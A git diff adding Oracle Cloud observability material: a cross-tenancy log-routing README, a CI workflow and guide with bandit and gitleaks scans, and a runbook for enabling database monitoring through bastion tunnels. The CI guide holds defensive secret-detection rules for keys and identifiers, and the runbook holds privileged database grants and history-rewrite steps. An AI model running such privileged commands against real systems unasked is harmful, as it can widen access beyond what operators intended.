index 000000000..c7daaabe1 Binary files /dev/null and b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-02.png differ diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-03.png b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-03.png new file mode 100644 index 000000000..6a9bbcff2 Binary files /dev/null and b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-03.png differ diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-04.png b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-04.png new file mode 100644 index 000000000..6ef3fa99c Binary files /dev/null and b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-04.png differ diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-05.png b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-05.png new file mode 100644 index 000000000..0cd7079f3 Binary files /dev/null and b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-05.png differ diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-06.png b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-06.png new file mode 100644 index 000000000..7fc86331b Binary files /dev/null and b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-06.png differ diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-07.png b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-07.png new file mode 100644 index 000000000..4cfd9067e Binary files /dev/null and b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-07.png differ diff --git a/observability-and-management/assets/oci-cross-tenancy-log-management/README.md b/observability-and-management/assets/oci-cross-tenancy-log-management/README.md new file mode 100644 index 000000000..f7b52ce25 --- /dev/null +++ b/observability-and-management/assets/oci-cross-tenancy-log-management/README.md @@ -0,0 +1,61 @@ +# OCI Cross-tenancy log management + +In this document we will see how to optimize the workflow for cross-tenancy log collection. + +![Picture 7](./images/image-01.png) + +The solutions I proposed to be used are shown below, and it’s very important to use the OCI resources with Cross Tenancy capabilities, and have the proper policies in place: + +Cross-Tenancy Policies + +Your organization might want to share Streaming resources with another organization that has its own tenancy. It could be another business unit in your company, a customer of your company, a company that provides services to your company, and so on. In cases like these, you need cross-tenancy policies in addition to the required user and service policies described previously. + +Endorse, Admit, and Define statements + +To access and share resources, the administrators of both tenancies need to create special policy statements that explicitly state the resources that can be accessed and shared. These special statements use the words Define, Endorse, and Admit. + +Here’s an overview of the special verbs used in cross-tenancy statements: + +Endorse: States the general set of abilities that a group in your own tenancy can perform in other tenancies. The Endorse statement always belongs in the tenancy with the group of users crossing the boundaries into the other tenancy to work with that tenancy’s resources. In the examples, we refer to this tenancy as the source. + +Admit: States the kind of ability in your own tenancy that you want to grant a group from the other tenancy. The Admit statement belongs in the tenancy who is granting “admittance” to the tenancy. The Admit statement identifies the group of users that requires resource access from the source tenancy and identified with a corresponding Endorse statement. In the examples, we refer to this tenancy as the destination. + +Define: Assigns an alias to a tenancy OCID for Endorse and Admit policy statements. A Define statement is also required in the destination tenancy to assign an alias to the source IAM group OCID for Admit statements. + +Define statements must be included in the same policy entity as the endorse or the admit statement. + +The Endorse and Admit statements work together, but they reside in separate policies, one in each tenancy. Without a corresponding statement that specifies access, a particular Endorse or Admit statement grants no access. Agreement is required from both tenancies. + +Streaming with Cross Tenancy stream that will be created in the Main Security tenancy(I will call it Hub Tenancy): + +Accessing Streaming Resources Across Tenancies + +Learn about writing policy to allow your tenancy access to other tenancies. + +docs.oracle.com + +[Connector Hub](https://docs.oracle.com/en-us/iaas/Content/connector-hub/overview.htm) that will move the logs between different OCI services: + +1- Logging to Cross tenancy exposed Stream + +![Picture 5](./images/image-02.png) + +2- Cross tenancy Stream from Hub Tenancy to a SIEM Stream used to push the logs to an external SIEM. + +![Picture 4](./images/image-03.png) + +3- Backup Connector that will copy the stream from Cross tenancy Stream to an OCI Backup Bucket (Archive) for long therm storage + +![Picture 3](./images/image-04.png) + +4- Analytics Connector that will copy the logs from Cross Tenancy Stream to Logging Analytics. + +![Picture 2](./images/image-05.png) + +When a Source and a target is properly configured, you will see a green Check mark on the service. + +A high-level overview of the flow can be seen here: + +![Picture 1](./images/image-06.png) + +This is just an example of how you can move the logs between different tenancies to a central one, and you can extend the capabilities based on your needs. diff --git a/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-01.png b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-01.png new file mode 100644 index 000000000..9279daed5 Binary files /dev/null and b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-01.png differ diff --git a/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-02.png b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-02.png new file mode 100644 index 000000000..24676c71c Binary files /dev/null and b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-02.png differ diff --git a/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-03.png b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-03.png new file mode 100644 index 000000000..e65be7b6f Binary files /dev/null and b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-03.png differ diff --git a/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-04.png b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-04.png new file mode 100644 index 000000000..cf953e5c6 Binary files /dev/null and b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-04.png differ diff --git a/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-05.png b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-05.png new file mode 100644 index 000000000..556212660 Binary files /dev/null and b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-05.png differ diff --git a/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-06.png b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-06.png new file mode 100644 index 000000000..67c7f703a Binary files /dev/null and b/observability-and-management/assets/oci-cross-tenancy-log-management/images/image-06.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/.env.local.example b/observability-and-management/assets/oci-dbman-opsi/.env.local.example new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/.github/workflows/ci.yml b/observability-and-management/assets/oci-dbman-opsi/.github/workflows/ci.yml new file mode 100644 index 000000000..2b98d4bb5 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/.github/workflows/ci.yml @@ -0,0 +1,127 @@ +# dbman-opsi — Continuous Integration +# +# Four gating jobs: +# test — pytest across Python 3.11/3.12/3.13 with 80 % coverage gate +# deps — pip-audit dependency vulnerability scan +# security — bandit static-analysis (medium+ severity) +# secret-scan — gitleaks full-history + custom OCI OCID/token rules +# +# Triggered on every push and every PR, regardless of branch. + +name: CI + +on: + push: + branches: ["**"] + pull_request: + branches: ["**"] + +jobs: + # ─── 1. Tests ──────────────────────────────────────────────────────────────── + test: + name: Test (Python ${{ matrix.python-version }}) + runs-on: ubuntu-latest + strategy: + fail-fast: false # let all matrix legs finish even if one fails + matrix: + python-version: ["3.11", "3.12", "3.13"] + + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + cache: "pip" # cache ~/.cache/pip keyed on requirements hash + + - name: Install package + dev extras + # installs pytest, pytest-cov, and the dbman_opsi package in editable mode + run: pip install -e '.[dev]' + + - name: Run pytest + # Coverage gate (--cov-fail-under=80) is enforced by pyproject.toml addopts; + # no need to duplicate flags here. + run: pytest + + # ─── 2. Dependency CVE scan ────────────────────────────────────────────────── + deps: + name: Dependency scan (pip-audit) + runs-on: ubuntu-latest + + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.11" + cache: "pip" + + - name: Install package + run: pip install -e . + + - name: Install pip-audit + run: pip install pip-audit + + - name: Run pip-audit + run: pip-audit . + + # ─── 3. Security scan ──────────────────────────────────────────────────────── + security: + name: Security scan (bandit) + runs-on: ubuntu-latest + + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.11" + cache: "pip" + + - name: Install bandit + # bandit is not a dev dependency — install it directly in this job. + run: pip install bandit + + - name: Run bandit (medium+ severity, low+ confidence) + # -ll → report only Medium severity or higher (Low issues are noise here) + # + # B608 (hardcoded_sql_expressions) is skipped project-wide: every hit is + # in db_scripts.py, an Oracle SQL*Plus script generator, not a Python + # DB-API call. The interpolated values are DDL identifiers (usernames, + # container names) that cannot be bind-parameterised; the Oracle-side + # guard is dbms_assert.simple_sql_name(). B608 is structurally + # inapplicable to a SQL-emitting tool, so a blanket skip is correct here. + # + # B108 (hardcoded_tmp_directory) is NOT skipped — it stays active to + # catch real insecure local-tempfile use. Its one current hit (the + # `remote_dir="/tmp"` default in bastion_exec.py, a remote SSH path) is + # suppressed inline with `# nosec B108` and a justification. + run: bandit -r src/ -ll --skip B608 + + # ─── 4. Secret scan ────────────────────────────────────────────────────────── + secret-scan: + name: Secret scan (gitleaks) + runs-on: ubuntu-latest + + steps: + - name: Checkout (full history) + uses: actions/checkout@v4 + with: + # fetch-depth: 0 gives gitleaks access to all commits, not just HEAD, + # so it can detect secrets that were introduced and later "removed". + fetch-depth: 0 + + - name: Run gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # GITLEAKS_LICENSE is required for private repositories. + # This toolkit is designed for public repos; no license key is needed. + # If the repo is private, add GITLEAKS_LICENSE to repository secrets: + # https://gitleaks.io/products.html diff --git a/observability-and-management/assets/oci-dbman-opsi/.gitignore b/observability-and-management/assets/oci-dbman-opsi/.gitignore new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/.gitleaks.toml b/observability-and-management/assets/oci-dbman-opsi/.gitleaks.toml new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/CLAUDE.md b/observability-and-management/assets/oci-dbman-opsi/CLAUDE.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/KB.md b/observability-and-management/assets/oci-dbman-opsi/KB.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/README.md b/observability-and-management/assets/oci-dbman-opsi/README.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/CI.md b/observability-and-management/assets/oci-dbman-opsi/docs/CI.md new file mode 100644 index 000000000..56e027c9a --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/docs/CI.md @@ -0,0 +1,153 @@ +# Continuous Integration + +This document describes the three CI jobs that run on every push and pull request, +how to reproduce each check locally, and how to interpret and triage findings. + +## Jobs + +### 1. `test` — Pytest + coverage gate + +Runs on a matrix of **Python 3.11, 3.12, and 3.13**. + +Steps: +1. Install the package in editable mode with dev extras (`pip install -e '.[dev]'`). +2. Run `pytest` — the 80 % coverage gate is enforced by `pyproject.toml` + (`--cov-fail-under=80`). A coverage drop below 80 % fails the job. + +The matrix uses `fail-fast: false` so all three Python versions are always tested +even when one leg fails. + +**Run locally:** +```bash +pip install -e '.[dev]' +pytest # with coverage report +pytest --no-cov # skip coverage (faster feedback loop) +pytest -m eval --no-cov # run only the eval marker suite +``` + +--- + +### 2. `security` — Bandit static analysis + +Runs `bandit -r src/ -ll --skip B608` against the entire `src/` tree. + +| Flag | Meaning | +|------|---------| +| `-ll` | Report **Medium severity or higher** only (Low issues omitted). | +| `--skip B608` | One rule ID suppressed project-wide as structurally inapplicable (see below). | + +#### Suppression policy — rationale + +| Rule | Handling | Location | Why | +|------|----------|----------|-----| +| **B608** `hardcoded_sql_expressions` (Medium/Low) | **Skipped project-wide** (`--skip B608`) | `db_scripts.py:25,45,84,185,231` | All five hits are Oracle SQL\*Plus script generators — multi-line f-strings that produce `.sql` files for a human DBA to run in `sqlplus`. These are **not** Python DB-API calls; the interpolated values are DDL identifiers (usernames, container names) that cannot be bind-parameterised. Oracle-side injection is guarded by `dbms_assert.simple_sql_name()`. B608 is structurally inapplicable to a SQL-emitting tool, so a blanket skip is correct. | +| **B108** `hardcoded_tmp_directory` (Medium/Medium) | **Active**; one site `# nosec`'d inline | `bastion_exec.py` `remote_dir="/tmp"` | The string `"/tmp"` is the default of the `remote_dir` constructor parameter of `BastionSqlRunner` — a **remote** SSH target directory, not a local Python `tempfile` creation (CWE-377 does not apply). The rule stays enabled so a real insecure local-tempfile use elsewhere still fails CI; only this one line carries `# nosec B108` with a justification. | + +To close B608 inline later (and drop the `--skip`): add `# nosec B608` at the end of each SQL-template assignment statement in `db_scripts.py`, then remove `--skip B608` from `.github/workflows/ci.yml`. + +**Run locally:** +```bash +pip install bandit +bandit -r src/ -ll --skip B608 # mirrors CI exactly +bandit -r src/ -ll # see all findings including the skipped B608 +bandit -r src/ -lll # high-severity only (strict mode) +``` + +--- + +### 3. `secret-scan` — Gitleaks + +Runs `gitleaks/gitleaks-action@v2` with a custom `.gitleaks.toml` config. + +**Why gitleaks and not a grep gate?** Gitleaks understands git history — it +can detect secrets that were introduced in an older commit even if they were +later "deleted". The official GitHub Action also produces SARIF output, which +GitHub Security integrates into the repository's Code Scanning dashboard. A +bare `grep` gate on the working tree would miss committed-then-removed secrets. + +#### Custom OCI rules in `.gitleaks.toml` + +The config extends the default gitleaks ruleset and adds: + +| Rule ID | Detects | +|---------|---------| +| `oci-ocid` | Any `ocid1..oc1.*` identifier — covers all resource types tracked in `redact.py` | +| `oci-isk-key` | `isk_<40 hex chars>` — OCI internal service keys | +| `oci-api-fingerprint` | 16 colon-delimited hex pairs — OCI API key fingerprint format | +| `oci-registry-namespace` | Tenancy namespace in OCIR path context (`…ocir.io/`) — detected by format, not by hardcoding real values | +| `oci-public-ip` | Public-IP blocks from the tenancy matrix (`130.61.*`, `161.153.*`, etc.) | + +The default ruleset detects generic secrets (AWS keys, GCP tokens, GitHub PATs, +PEM private keys, high-entropy strings, etc.) that are equally relevant here. + +**Run locally:** +```bash +# Install gitleaks (macOS) +brew install gitleaks + +# Detect — scans working tree against the last commit +gitleaks detect --config .gitleaks.toml --verbose + +# Detect across full git history (mirrors CI fetch-depth: 0) +gitleaks detect --config .gitleaks.toml --verbose --log-opts="--all" + +# Protect — scan staged changes before a commit +gitleaks protect --config .gitleaks.toml --staged --verbose +``` + +#### Triaging a gitleaks finding + +When gitleaks flags a hit, the output includes the rule ID, file, line, and the +matched value. Follow this decision tree: + +``` +Is the matched value a real secret or OCID? + YES → See "Real leak" below. + NO → Is it a token, ${ENV_VAR}, or example value? + YES → It should already be allowed. If not, update .gitleaks.toml. + NO → Is it in docs/ or tests/ as a synthetic fixture? + YES → Add the file path to the appropriate [rules.allowlist] paths. + NO → Treat as a real leak and follow the procedure below. +``` + +**Real leak — response procedure:** + +1. **Stop.** Do not push a "fix" commit — the secret remains in git history. +2. Identify the commit SHA that introduced it (`git log -S ''`). +3. Rotate the secret immediately (regenerate the OCI API key, auth token, etc.). +4. Rewrite history with `git filter-repo --replace-text ` to + purge all occurrences from every branch and tag. +5. Force-push the rewritten history and notify collaborators. +6. See `docs/security.md` for the full incident playbook. + +**Placeholder / false-positive — updating the allowlist:** + +If a legitimate placeholder or test fixture is flagged: + +1. Open `.gitleaks.toml`. +2. Add the file path to the relevant `[rules.allowlist].paths` list + (preferred — narrowest scope) or to the global `[allowlist].paths`. +3. Re-run `gitleaks detect --config .gitleaks.toml --verbose` to confirm the + finding is suppressed. +4. Commit `.gitleaks.toml` with a note explaining why the allowlist was extended. + +**Do not** add broad `regexes` to the global allowlist unless the pattern is +genuinely impossible to mistake for a real secret. + +--- + +## Quick-reference — run all CI checks locally + +```bash +# 1. Tests + coverage +pip install -e '.[dev]' +pytest + +# 2. Security scan +pip install bandit +bandit -r src/ -ll --skip B608 + +# 3. Secret scan +brew install gitleaks # or: https://github.com/gitleaks/gitleaks/releases +gitleaks detect --config .gitleaks.toml --verbose +``` diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/RUNBOOK-e2e-cap.md b/observability-and-management/assets/oci-dbman-opsi/docs/RUNBOOK-e2e-cap.md new file mode 100644 index 000000000..795c99cac --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/docs/RUNBOOK-e2e-cap.md @@ -0,0 +1,482 @@ +# Runbook: dbman-opsi End-to-End Enablement & Verification (cap) + +Reproducible record of running the full `dbman-opsi` flow against a live Base +Database Service deployment in the **cap** staging tenancy (`eu-frankfurt-1`), +and the defects found and fixed along the way. + +All tenant-specific values (OCIDs, IPs, passwords, service GUIDs) are redacted — +resolve them from the gitignored local config and `~/.claude/private/`. + +Targets: one CDB (`DBMOPSI`) + one PDB (`PDB1`), both `management_type: ADVANCED`, +DBSNMP monitoring user, OPSI PE-comanaged with `CREDENTIALS_BY_VAULT`. + +--- + +## Phase 0 — Confirm live infra (read-only) + +```bash +oci iam tenancy get --tenancy-id --query 'data.name' # -> +oci db database get --database-id --query 'data."lifecycle-state"' # -> AVAILABLE +oci db database get --database-id --query 'data."database-management-config"' # ENABLED / ADVANCED +oci db pluggable-database get --pluggable-database-id --query 'data."pluggable-database-management-config"' +oci database-management private-endpoint get --private-endpoint-id --query 'data."lifecycle-state"' # ACTIVE +oci opsi opsi-private-endpoint get --opsi-private-endpoint-id --query 'data."lifecycle-state"' # ACTIVE +oci vault secret get --secret-id --query 'data."lifecycle-state"' # ACTIVE +``` + +Expected: tenancy confirmed; CDB & PDB `AVAILABLE`; both PEs `ACTIVE`; +Vault secret `ACTIVE`. + +## Phase 1 — doctor + preflight (read-only) + +```bash +dbman-opsi doctor # python/oci/terraform OK +dbman-opsi preflight --config dbman-opsi.cap.local.yaml # verdict: READY +``` + +Known non-blocking WARNs in cap: `service-gateway list` and `route-table get` +return `NotAuthorizedOrNotFound` (the cap user lacks those VCN reads); the +security-list 1521 heuristic warns when an NSG (not the security list) covers +the port. `target.monitoring_user` is `[MANUAL]` — proven DB-side in Phase 2. + +## Phase 2 — DBSNMP connectivity proof (bastion) + +```bash +# fresh port-forward session to the DB node :22, then tunnel local 8022 -> :22 +oci bastion session create-port-forwarding --bastion-id \ + --ssh-public-key-file --target-private-ip --target-port 22 \ + --session-ttl 10800 --wait-for-state SUCCEEDED +ssh -i -N -L 8022::22 -p 22 @host.bastion..oci.oraclecloud.com ... +ssh -i -p 8022 opc@localhost # then: sudo su - oracle +``` + +On the DB host as `oracle`: + +```bash +lsnrctl status # <-- lists the REAL listener services (critical, see Defect 1) +sqlplus / as sysdba <<'SQL' + select username, account_status from dba_users where username='DBSNMP'; -- expect OPEN + alter session set container=PDB1; + select username, account_status from dba_users where username='DBSNMP'; +SQL +# prove OPSI-style TCP login per real service: +sqlplus -L DBSNMP/@:1521/ +``` + +## Phase 3 — generators (idempotent) + +```bash +dbman-opsi generate-db-scripts --config dbman-opsi.cap.local.yaml --output generated/db-scripts +dbman-opsi generate-opsi-payloads --config dbman-opsi.cap.local.yaml --output generated/cap-opsi-payloads +dbman-opsi generate-agent-scripts --config dbman-opsi.cap.local.yaml +``` + +## Phase 4 — enable + validate (the no-errors gate) + +```bash +dbman-opsi enable --config dbman-opsi.cap.local.yaml --apply +dbman-opsi validate --config dbman-opsi.cap.local.yaml +# final state checks: +oci opsi work-requests list -c --sort-order DESC # CREATE_DATABASE_INSIGHT SUCCEEDED 100% +oci database-management managed-database list -c # DBMOPSI, PDB1 -> ADVANCED +``` + +End state: DBM `ADVANCED` on both; OPSI insights `ACTIVE / ENABLED`, +`database-connection-status-details: SUCCESS`; 0 FAILED. + +--- + +## Defects found & fixed + +### Defect 1 — OPSI insight create fails at 80% (`DbcsEntityChangeWorkflowFailed`) + +Two independent root causes, both DB-connection failures the OPSI create test +surfaces (DBM hid them because it connects by OCID, not service+credential): + +1. **Wrong `service_name`** — config used the bare names `DBMOPSI` / `PDB1`, but + the listener only registers domain-qualified services + (`.` for the CDB, `.` for the PDB) → + **ORA-12514**. Fixed by setting the real services in + `dbman-opsi.cap.local.yaml` and regenerating OPSI payloads. +2. **DBSNMP credential drift** — the Vault secret password didn't match the DB + (**ORA-01017**) and itself violated the DB verify function (**ORA-20000: + >=2 special characters**), so it had never been applied. Fixed by setting a + compliant DBSNMP password (`ALTER USER DBSNMP IDENTIFIED BY "" + CONTAINER=ALL`) and syncing it into the Vault secret + (`oci vault secret update-base64`). + +To re-create after a failed attempt, the insight must be **disabled before +delete** (`oci opsi database-insights disable` then `... delete --force`). + +See `KB.md` for the full diagnosis path (work-request errors via `oci +raw-request`, `lsnrctl status`, per-service `sqlplus` probes). + +### Defect 2 — `enable` not idempotent (code fix) + +`enable --apply` aborted on the already-enabled DBM **409 IncorrectState** before +reaching OPSI. Added `OciCli.run_tolerating()` so an already-enabled DBM is a +no-op and the flow continues. (`src/dbman_opsi/oci_cli.py`, +`src/dbman_opsi/enablement.py`; tests in `tests/test_enablement.py`.) + +### Defect 3 — `validate` blind to OPSI state (code fix) + +`validate` printed a generic "requires Database Insight validation" for every +target, so FAILED insights looked identical to healthy ones. It now queries the +insight lifecycle (`OciCli.list_opsi_database_insights`, all lifecycle states) +and reports `ACTIVE (ENABLED)` / `FAILED (ENABLED)` / `NOT_FOUND` / `UNKNOWN`, +with a retry on transient 404. (`src/dbman_opsi/validation.py`; tests in +`tests/test_validation.py`.) + +## Known cap quirk (root-caused in Defect 6) + +The OPSI `database-insights list` control-plane endpoint is **non-deterministic**: +it flaps between the full set, a partial set, and an exit-0 empty list (and +sometimes `NotAuthorizedOrNotFound`) for the same compartment, call to call — the +multi-`--lifecycle-state` + `--all` query shape makes it worse. Authoritative reads +that don't depend on it: a single-resource `database-insights get` **by insight +OCID** (reliable 10/10), the SUCCEEDED `CREATE_DATABASE_INSIGHT` work request, and +`database-connection-status-details: SUCCESS` on the insight. See Defect 6. + +## Defect 4 — DBM monitoring stays Stopped after re-enable (stale service name) + +DBM was first enabled with the wrong service name, and the idempotent re-run only +tolerated the already-enabled 409 and **skipped** DBM, so the corrected service +name never took effect — monitoring stayed Stopped (ORA-12514). Reconciled in place +with `modify-(pluggable-)database-management` (service name + current secret); +`database-status` then flipped to **UP**. `enable` now reconciles automatically on +an already-enabled DBM (`cloud_modify_command` in `enablement.py`), so repeat +runs / ORM are self-healing for connection drift. + +## Defect 5 — DBSNMP lock loop after password rotation + +See `KB.md`. Rotating DBSNMP broke the DBCS local agent (old password) which +re-locked the account (ORA-28000), taking DBM + OPSI down. Fixed by moving DBSNMP +to a non-locking common profile `C##DBSNMP_MON` +(FAILED_LOGIN_ATTEMPTS/PASSWORD_LIFE_TIME UNLIMITED). + +## Defect 6 — `validate` false `NOT_FOUND` from the flaky OPSI list (code fix) + +Re-running the full e2e (2026-06-05) surfaced that `validate` (Defect 3's +list-based path) reported `Ops Insights NOT_FOUND` for the CDB and PDB while both +insights were `ACTIVE / SUCCESS`. Root cause: the aggregated `database-insights +list` flaps (0/2/7 items call-to-call), worsened by the 5-`--lifecycle-state` + +`--all` shape; `validate` matched the target against one flaky response. Fix: + +- `OciCli.list_opsi_database_insights` now queries **one lifecycle state per call + and unions** by insight OCID (each call fault-tolerant) instead of the broken + single multi-state call. +- New `OciCli.get_opsi_database_insight(insight_id)`; `validate` prefers this + **reliable GET by insight OCID** (`target.opsi_database_insight_id`, now persisted + in config), falling back to the list only to discover an unknown OCID. +- List-fallback verdict model never emits a false `NOT_FOUND`: it uses + `OciCli.list_opsi_database_insights_complete()` (per-state union + a + `complete` flag) and a **clean-window** rule — `NOT_FOUND` only when every + attempt answered, the read was complete and non-empty, and the id-set was + stable and reproducibly missing the target; a positive hit is authoritative + (then GET); empty/varying/incomplete → `UNKNOWN`. +- (`src/dbman_opsi/oci_cli.py`, `src/dbman_opsi/validation.py`; tests in + `tests/test_oci_cli.py`, `tests/test_validation.py`.) After the fix `validate` + reports `ACTIVE (ENABLED)` for both targets deterministically. Full KB entry: + `KB.md` → "2026-06-05 OPSI list flap". + +## Defect 7 — Performance Hub privileges (DB-side grant) + +The OCI Console Performance Hub showed "Performance Hub requires granting of +appropriate user privileges." The DBM monitoring user `DBSNMP` had the basic + +advanced monitoring grants but not the Performance Hub / AWR set. Applied as SYSDBA +(via bastion port-forward → `ssh opc` with the DB-system key → `sudo su - oracle` → +`sqlplus / as sysdba`), using `CONTAINER=ALL` so the CDB common user covers CDB+PDB: + +```sql +grant create procedure to DBSNMP container=all; +grant select any dictionary to DBSNMP container=all; +grant select_catalog_role to DBSNMP container=all; +grant alter system to DBSNMP container=all; +grant advisor to DBSNMP container=all; +grant execute on sys.dbms_workload_repository to DBSNMP container=all; +``` + +The toolkit now generates these in `03-grant-advanced-diagnostics.sql` and checks +them in `04-validate-monitoring-user.sql` (`src/dbman_opsi/db_scripts.py`). Verified +present in `CDB$ROOT` and `PDB1`; `dbms_workload_repository.create_snapshot` +succeeded (AWR — the Performance Hub data source — confirmed live, 46 snapshots). + +## Defect 8 — ADDM Spotlight / AWR Explorer empty for the PDB (+ ORA-13750) + +Console **ADDM Spotlight** and **AWR Explorer** for `PDB1` were empty ("no ADDM +analysis details" / "No AWR snapshots were found for this PDB"), and creating a +**SQL Tuning Set** failed with `ORA-13750` (DBSNMP lacks `ADMINISTER SQL TUNING +SET`). Root cause: in a CDB, automatic AWR snapshots run at the **root only** by +default (`AWR_PDB_AUTOFLUSH_ENABLED=FALSE`). Fixed as SYSDBA on cap CDB+PDB1: + +```sql +grant administer sql tuning set to DBSNMP container=all; -- fixes ORA-13750 +grant administer any sql tuning set to DBSNMP container=all; +alter system set awr_pdb_autoflush_enabled = true scope=both; -- CDB$ROOT +alter session set container = PDB1; +alter system set awr_pdb_autoflush_enabled = true scope=both; -- PDB +exec dbms_workload_repository.modify_snapshot_settings(interval=>60, retention=>11520); +exec dbms_workload_repository.create_snapshot; -- seed +``` + +`DBMS_ADDM.ANALYZE_DB` over the latest two **PDB-dbid** snapshots (filter by +`sys_context('USERENV','CON_DBID')`, else `ORA-13703`) completed with a report +("ADDM detected that the system is a PDB"). OOTB: the toolkit now emits +`05-enable-performance-hub.sql` (autoflush + PDB snapshot interval + seed) and adds +the STS grants to `03-grant-advanced-diagnostics.sql`. See `KB.md` 2026-06-07. + +## Defect 9 — OCID redaction in the data path broke OCID-keyed joins (code fix) + +Adding three-pillar discovery exposed that `CommandRunner.run()` redacted command +**stdout before `.json()` parsed it**, collapsing every OCID to ``. Any +logic that joins resources by OCID (Data Safe / OPSI detection, named-credential +id lookup, `validate`'s insight id-set) matched everything-to-everything — live +`discover` falsely reported Data Safe `ENABLED` for *every* database. Fix: the +runner returns **raw** stdout for `.json()`; redaction moved to the display +boundary (`--json` wraps `redact_data`, errors/dry-run echo stay redacted). Human +`discover` output intentionally keeps real OCIDs (operator copies them to config). +Matcher also reads `associated-resource-ids` (the Data Safe LIST summary has +`database-details: null`) and never treats a target's own id as a DB reference. +(`runner.py`, `cli.py`, `status.py`; `KB.md` 2026-06-07.) + +## Defect 10 — zero-start-poc Terraform could plan but not apply a DBCS (code fix) + +Provisioning a new cap DBCS hit four apply-time failures, all now fixed in +`terraform/examples/zero-start-poc`: (1) provider used default auth → AD data +source null (`Attempt to index null value`) — added `config_file_profile`; +(2) `400-LimitExceeded vm-block-storage-gb` — a **per-AD Database** limit (AD-1 +was 1024/1050; AD-2/AD-3 empty) — added `availability_domain_index`; +(3) `domain name cannot be null` (subnet has no DNS label) — added +`domain = var.dbcs_domain`; (4) Flex shape needs `cpu_core_count` + +`data_storage_size_in_gb`. Secrets go in a gitignored `secrets.auto.tfvars.json`. +See `KB.md` 2026-06-07. + +## Defect 11 — Data Safe target NEEDS_ATTENTION (ORA-01017) + DBSNMP rotation + +Registering DBMOPSI/PDB1 as a Data Safe target left it `NEEDS_ATTENTION` with +`ORA-01017` — the DS private endpoint reached the listener, but the DBSNMP +password was stale and could not be reset to it (CDB verify function needs **2+ +special chars**, `ORA-20000`). DBSNMP is a **common user**, so the password is set +from the root with `CONTAINER=ALL` (`ORA-65066` if attempted inside a PDB). Fix +(single-account POC): rotate DBSNMP to a policy-compliant password and keep the +stack consistent — update the **one Vault secret** (DBM + OPSI both read it via +`passwordSecretId`) and the Data Safe target creds +(`data-safe target-database update --credentials file://... --force`). DBM stayed +`UP`, OPSI `ENABLED`, Data Safe target reached `ACTIVE`. Also: `data-safe +private-endpoint create` / `target-database update` return work requests +(`--wait-for-state SUCCEEDED`, not `ACTIVE`). See `KB.md` 2026-06-07. + +## Defect 12 — OPSI create crashed on the post-enable propagation race (code fix) + +Enabling a freshly-provisioned DBCS: right after DBM enable, the managed database +is not yet visible to Ops Insights, so `create-pe-comanaged` returns +`400-MissingParameter "Provided database resource details were missing"` and the +unhandled error crashed the whole orchestrated `configure` run before the PDB was +processed. `EnablementService` now **retries** the OPSI create on the propagation +markers (bounded `opsi_create_attempts`/`opsi_create_delay`, injectable sleeper) +and only re-raises after exhausting them. (`enablement.py`; tests in +`tests/test_enablement.py`.) + +## Phase 6 — Data Safe + a second, freshly-provisioned DBCS (3-pillar end-to-end) + +- **Existing DB:** created a Data Safe private endpoint in the DB subnet, applied + the Data Safe service-account grants (`audit_viewer`/`audit_admin`) via Bastion, + rotated DBSNMP, and registered PDB1 → Data Safe target **ACTIVE** alongside the + existing DBM `UP` + OPSI `ENABLED`. +- **New DBCS (`dbman-opsi-dbcs2`, AD-2):** provisioned via the fixed Terraform, + set DBSNMP + grants via Bastion, then enabled all three pillars with + `configure --apply` (DBM+OPSI, CDB→PDB) and `data-safe --apply`. 